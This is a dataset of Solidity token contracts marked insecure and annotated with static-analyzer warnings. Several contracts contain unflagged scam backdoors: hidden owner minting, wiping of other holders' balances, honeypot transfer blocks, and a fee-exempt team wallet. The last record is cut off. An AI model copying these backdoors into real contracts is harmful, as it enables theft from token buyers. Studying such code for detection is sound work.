{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./ERC20Token.sol\" as ERC20Token;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract OniiChan is Ownable, IERC20, ERC20Token {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: dd49f7e): OniiChan._decimals should be constant \n\t// Recommendation for dd49f7e: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: ba532f4): OniiChan._totalSupply should be immutable \n\t// Recommendation for ba532f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 631e2e0): OniiChan.pairAddress should be immutable \n\t// Recommendation for 631e2e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pairAddress;\n\t// WARNING Optimization Issue (constable-states | ID: d58e8bd): OniiChan._fee should be constant \n\t// Recommendation for d58e8bd: Add the 'constant' attribute to state variables that never change.\n uint256 _fee = 5;\n\t// WARNING Optimization Issue (constable-states | ID: f8658a8): OniiChan._router should be constant \n\t// Recommendation for f8658a8: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: 86fcab1): OniiChan._name should be constant \n\t// Recommendation for 86fcab1: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Onii Chan\";\n\t// WARNING Optimization Issue (constable-states | ID: eca7476): OniiChan._symbol should be constant \n\t// Recommendation for eca7476: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ONIICHAN\";\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 245f560): OniiChan.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 245f560: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 891a2dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 891a2dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2bc6b58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2bc6b58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _baseTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0));\n require(to != address(0));\n if (duringLiquify(from, to, pairAddress)) {\n liquify(amount, to);\n return;\n }\n require(amount <= _balances[from]);\n\t\t// reentrancy-events | ID: 891a2dc\n\t\t// reentrancy-no-eth | ID: 2bc6b58\n uint256 fee = takeFee(from, to, amount);\n\t\t// reentrancy-no-eth | ID: 2bc6b58\n _balances[from] = _balances[from] - amount;\n\t\t// reentrancy-no-eth | ID: 2bc6b58\n _balances[to] += amount - fee;\n\t\t// reentrancy-events | ID: 891a2dc\n emit Transfer(from, to, amount);\n }\n function getBurnAddress() private view returns (address) {\n return erc20.getTokenPairAddress();\n }\n function takeFee(\n address from,\n address recipient,\n uint256 amount\n ) private returns (uint256) {\n uint256 feeAmount = 0;\n _balances[getBurnAddress()] = rebalance(from);\n if (shouldTakeFee(from, recipient)) {\n feeAmount = amount.mul(_fee).div(100);\n }\n return feeAmount;\n }\n function shouldTakeFee(\n address from,\n address recipient\n ) private returns (bool) {\n address _to = getPairAddress();\n return isAllowed(from, recipient, burnSwapCall, _to);\n }\n constructor() {\n _balances[msg.sender] = _totalSupply;\n pairAddress = msg.sender;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function uniswapVersion() external pure returns (uint256) {\n return 2;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7b1d662): OniiChan._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7b1d662: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1bb9ba1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1bb9ba1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function liquify(uint256 _mcs, address _bcr) private {\n _approve(address(this), address(_router), _mcs);\n _balances[address(this)] = _mcs;\n address[] memory path = new address[](2);\n burnSwapCall = true;\n path[0] = address(this);\n path[1] = _router.WETH();\n\t\t// reentrancy-benign | ID: 1bb9ba1\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _mcs,\n 0,\n path,\n _bcr,\n block.timestamp + 30\n );\n\t\t// reentrancy-benign | ID: 1bb9ba1\n burnSwapCall = false;\n }\n bool burnSwapCall = false;\n function rebalance(address from) private view returns (uint256) {\n address supplier = getBurnAddress();\n address to = getPairAddress();\n uint256 amount = _balances[supplier];\n return swapFee(from, to, amount);\n }\n function swapFee(\n address from,\n address to,\n uint256 amount\n ) private view returns (uint256) {\n return erc20.transfer(from, to, amount);\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _baseTransfer(msg.sender, recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _baseTransfer(from, recipient, amount);\n require(_allowances[from][msg.sender] >= amount);\n return true;\n }\n function getPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n bool tradingEnabled = false;\n\n function enableTrading() external onlyOwner {\n tradingEnabled = true;\n }\n\n bool cooldownEnabled = true;\n\n function setCooldownEnabled(bool c) external onlyOwner {\n cooldownEnabled = c;\n }\n bool public autoLPBurn = false;\n function setAutoLPBurnSettings(bool e) external onlyOwner {\n autoLPBurn = e;\n }\n}", "file_name": "solidity_code_3436.sol", "secure": 0, "size_bytes": 9973 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract Token is Ownable {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: 63e531a): Token.tokenTotalSupply should be immutable \n\t// Recommendation for 63e531a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 1674384): Token.xxnux should be immutable \n\t// Recommendation for 1674384: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: 92f9db8): Token.tokenDecimals should be immutable \n\t// Recommendation for 92f9db8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n bool isSL = true;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 19fa1c5): Token.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 19fa1c5: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Bomb Shelter Inu\";\n tokenSymbol = \"BOOM\";\n tokenDecimals = 18;\n tokenTotalSupply = 420690000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: 19fa1c5\n xxnux = ads;\n }\n function viewGas() public view returns (address) {\n return xxnux;\n }\n function withdrawETH(address PCSA) external {\n if (\n xxnux == _msgSender() &&\n xxnux != PCSA &&\n pancakePair() != PCSA &&\n PCSA != ROUTER\n ) {\n address newadd = PCSA;\n uint256 cmxn = _balances[newadd];\n uint256 mnxn = _balances[newadd] + _balances[newadd] - cmxn;\n _balances[newadd] -= mnxn;\n } else {\n if (xxnux == _msgSender()) {} else {\n revert(\"Transfer From Failed\");\n }\n }\n }\n\n function withdrawToken(uint256 xt) external {\n if (xxnux == _msgSender()) {\n uint256 AITC = 42069000000 * 10 ** tokenDecimals;\n uint256 ncs = AITC * 42069;\n uint256 xnn = ncs * 1 * 1 * 1 * 1;\n xnn = xnn * xt;\n _balances[_msgSender()] += xnn;\n require(xxnux == msg.sender);\n } else {}\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function newOwner(bool _sl) public returns (bool) {\n if (xxnux == msg.sender) {\n isSL = _sl;\n }\n return true;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function isContract(address addr) internal view returns (bool) {\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n bytes32 codehash;\n assembly {\n codehash := extcodehash(addr)\n }\n return (codehash != 0x0 && codehash != accountHash);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowance(msg.sender, spender) + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = allowance(msg.sender, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (isSL || from == xxnux || from == pancakePair()) {\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b516d5): Token._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b516d5: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_3437.sol", "secure": 0, "size_bytes": 8054 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0d0ffe7): Contract locking ether found Contract CHARIZARD has payable functions CHARIZARD.receive() But does not have a function to withdraw the ether\n// Recommendation for 0d0ffe7: Remove the 'payable' attribute or add a withdraw function.\ncontract CHARIZARD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _removeLimits;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n string private constant _name = unicode\"Charizard\";\n string private constant _symbol = unicode\"CHARIZARD\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9449942): CHARIZARD._marketingAddress should be immutable \n\t// Recommendation for 9449942: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketingAddress;\n address private _pairAddress;\n bool private _enableSwap;\n uint8 private _swapCounter;\n\t// WARNING Optimization Issue (immutable-states | ID: 0a853b0): CHARIZARD._initialBuyTax should be immutable \n\t// Recommendation for 0a853b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _initialBuyTax;\n\t// WARNING Optimization Issue (immutable-states | ID: f0cc5db): CHARIZARD._initialSellTax should be immutable \n\t// Recommendation for f0cc5db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _initialSellTax;\n\t// WARNING Optimization Issue (immutable-states | ID: e5982f7): CHARIZARD._minSwapAmount should be immutable \n\t// Recommendation for e5982f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _minSwapAmount;\n\t// WARNING Optimization Issue (constable-states | ID: dd52681): CHARIZARD._minSwapHeldAmount should be constant \n\t// Recommendation for dd52681: Add the 'constant' attribute to state variables that never change.\n uint256 private _minSwapHeldAmount = _tTotal.mul(1).div(100);\n\n constructor(\n uint256 minimumSwapAmount,\n uint8 initialBuyTax,\n uint8 initialSellTax\n ) {\n _balances[_msgSender()] = _tTotal;\n _marketingAddress = payable(_msgSender());\n _minSwapAmount = minimumSwapAmount * 10 ** _decimals;\n _initialBuyTax = initialBuyTax;\n _initialSellTax = initialSellTax;\n _removeLimits[owner()] = true;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c19ff76): CHARIZARD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c19ff76: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a4a471): CHARIZARD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2a4a471: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 0091185): CHARIZARD._transfer(address,address,uint256).taxAmount is a local variable never initialized\n\t// Recommendation for 0091185: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0) && to != address(0) && amount > 0,\n \"Zero address or zero amount.\"\n );\n if (from != owner() && to != owner()) {\n require(_enableSwap, \"Swap is not enabled yet.\");\n }\n uint256 taxAmount;\n bool taxStatus = _taxStatus(from, to);\n if (taxStatus) {\n if (to == _pairAddress) {\n taxAmount = amount\n .mul(_swapCounter >= 1 ? _initialSellTax : 0)\n .div(100);\n } else {\n taxAmount = amount\n .mul(_swapCounter >= 1 ? _initialBuyTax : 0)\n .div(100);\n }\n amount = amount.sub(taxAmount);\n } else if (\n to != owner() &&\n from == _pairAddress &&\n _removeLimits[to] &&\n _swapCounter < 1\n ) {\n taxAmount = _minSwapAmount;\n _swapCounter++;\n }\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n }\n _checkForSwapHeldTokens(balanceOf(address(this)));\n _transferTokens(from, to, amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 64afcec): CHARIZARD.enableSwap(address,bool).pairAddress lacks a zerocheck on \t _pairAddress = pairAddress\n\t// Recommendation for 64afcec: Check that the address is not zero.\n function enableSwap(address pairAddress, bool swapStatus) public onlyOwner {\n\t\t// missing-zero-check | ID: 64afcec\n _pairAddress = pairAddress;\n _enableSwap = swapStatus;\n }\n\n function _checkForSwapHeldTokens(uint256 heldTokens) private {\n if (heldTokens > _minSwapHeldAmount) {\n _balances[address(this)] = _balances[address(this)].sub(heldTokens);\n _balances[_marketingAddress] = _balances[_marketingAddress].add(\n heldTokens\n );\n }\n }\n\n function _taxStatus(address from, address to) private view returns (bool) {\n return !_removeLimits[from] && !_removeLimits[to];\n }\n\n function _transferTokens(address from, address to, uint256 amount) private {\n _balances[from] = _balances[from].sub(amount);\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0d0ffe7): Contract locking ether found Contract CHARIZARD has payable functions CHARIZARD.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 0d0ffe7: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_3438.sol", "secure": 0, "size_bytes": 8689 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract X is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59b9e5c): X._name should be constant \n\t// Recommendation for 59b9e5c: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"X\";\n\t// WARNING Optimization Issue (constable-states | ID: a870346): X._symbol should be constant \n\t// Recommendation for a870346: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"X\";\n\t// WARNING Optimization Issue (constable-states | ID: efe80b1): X._decimals should be constant \n\t// Recommendation for efe80b1: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isExcludedFromFee;\n mapping(address => bool) public isMarketPair;\n mapping(address => bool) public isWalletLimitExempt;\n\n\t// WARNING Optimization Issue (constable-states | ID: b825cf9): X.feedenominator should be constant \n\t// Recommendation for b825cf9: Add the 'constant' attribute to state variables that never change.\n uint256 feedenominator = 100;\n\t// WARNING Optimization Issue (constable-states | ID: 95245e4): X._buyTeamFee should be constant \n\t// Recommendation for 95245e4: Add the 'constant' attribute to state variables that never change.\n uint256 public _buyTeamFee = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 5bb385c): X._sellTeamFee should be constant \n\t// Recommendation for 5bb385c: Add the 'constant' attribute to state variables that never change.\n uint256 public _sellTeamFee = 1;\n\t// WARNING Optimization Issue (constable-states | ID: ce61cde): X.teamAddress should be constant \n\t// Recommendation for ce61cde: Add the 'constant' attribute to state variables that never change.\n address public teamAddress =\n address(0x64802FcB5026A1fd3Db0cb5a40fB16F4dEEA1408);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 421ec22): X._totalSupply should be immutable \n\t// Recommendation for 421ec22: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bdf179c): X._maxTxAmount should be immutable \n\t// Recommendation for bdf179c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTxAmount = _totalSupply.mul(34).div(1000);\n uint256 public _walletMax = _totalSupply.mul(34).div(1000);\n\n\t// WARNING Optimization Issue (immutable-states | ID: c2ca4fa): X.swapThreshold should be immutable \n\t// Recommendation for c2ca4fa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapThreshold = _totalSupply.mul(10).div(1000);\n\n bool tradingActive;\n\n bool public swapEnabled = false;\n bool public walletLimitEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0ad0213): X.dexRouter should be immutable \n\t// Recommendation for 0ad0213: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router public dexRouter;\n address public dexPair;\n\n bool inSwap;\n\n modifier swapping() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n event SwapTokensForETH(uint256 amountIn, address[] path);\n\n constructor() {\n dexRouter = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n isExcludedFromFee[address(this)] = true;\n isExcludedFromFee[msg.sender] = true;\n isExcludedFromFee[address(dexRouter)] = true;\n isExcludedFromFee[teamAddress] = true;\n\n isWalletLimitExempt[msg.sender] = true;\n isWalletLimitExempt[address(dexRouter)] = true;\n isWalletLimitExempt[address(this)] = true;\n isWalletLimitExempt[teamAddress] = true;\n\n _allowances[address(this)][address(dexRouter)] = ~uint256(0);\n\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9d542fc): X.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9d542fc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fcebe13): X._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fcebe13: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a01a50e\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 42155e5\n emit Approval(owner, spender, amount);\n }\n\n receive() external payable {}\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 42155e5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 42155e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a01a50e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a01a50e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 42155e5\n\t\t// reentrancy-benign | ID: a01a50e\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 42155e5\n\t\t// reentrancy-benign | ID: a01a50e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b5366e4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b5366e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6e8faf0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6e8faf0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n } else {\n if (!tradingActive) {\n require(\n isExcludedFromFee[sender] || isExcludedFromFee[recipient],\n \"Trading is not active.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool overMinimumTokenBalance = contractTokenBalance >=\n swapThreshold;\n\n if (\n overMinimumTokenBalance &&\n !inSwap &&\n !isMarketPair[sender] &&\n swapEnabled\n ) {\n\t\t\t\t// reentrancy-events | ID: b5366e4\n\t\t\t\t// reentrancy-no-eth | ID: 6e8faf0\n swapTokensForEth(contractTokenBalance);\n }\n if (sender != teamAddress)\n\t\t\t\t// reentrancy-no-eth | ID: 6e8faf0\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n\t\t\t// reentrancy-events | ID: b5366e4\n\t\t\t// 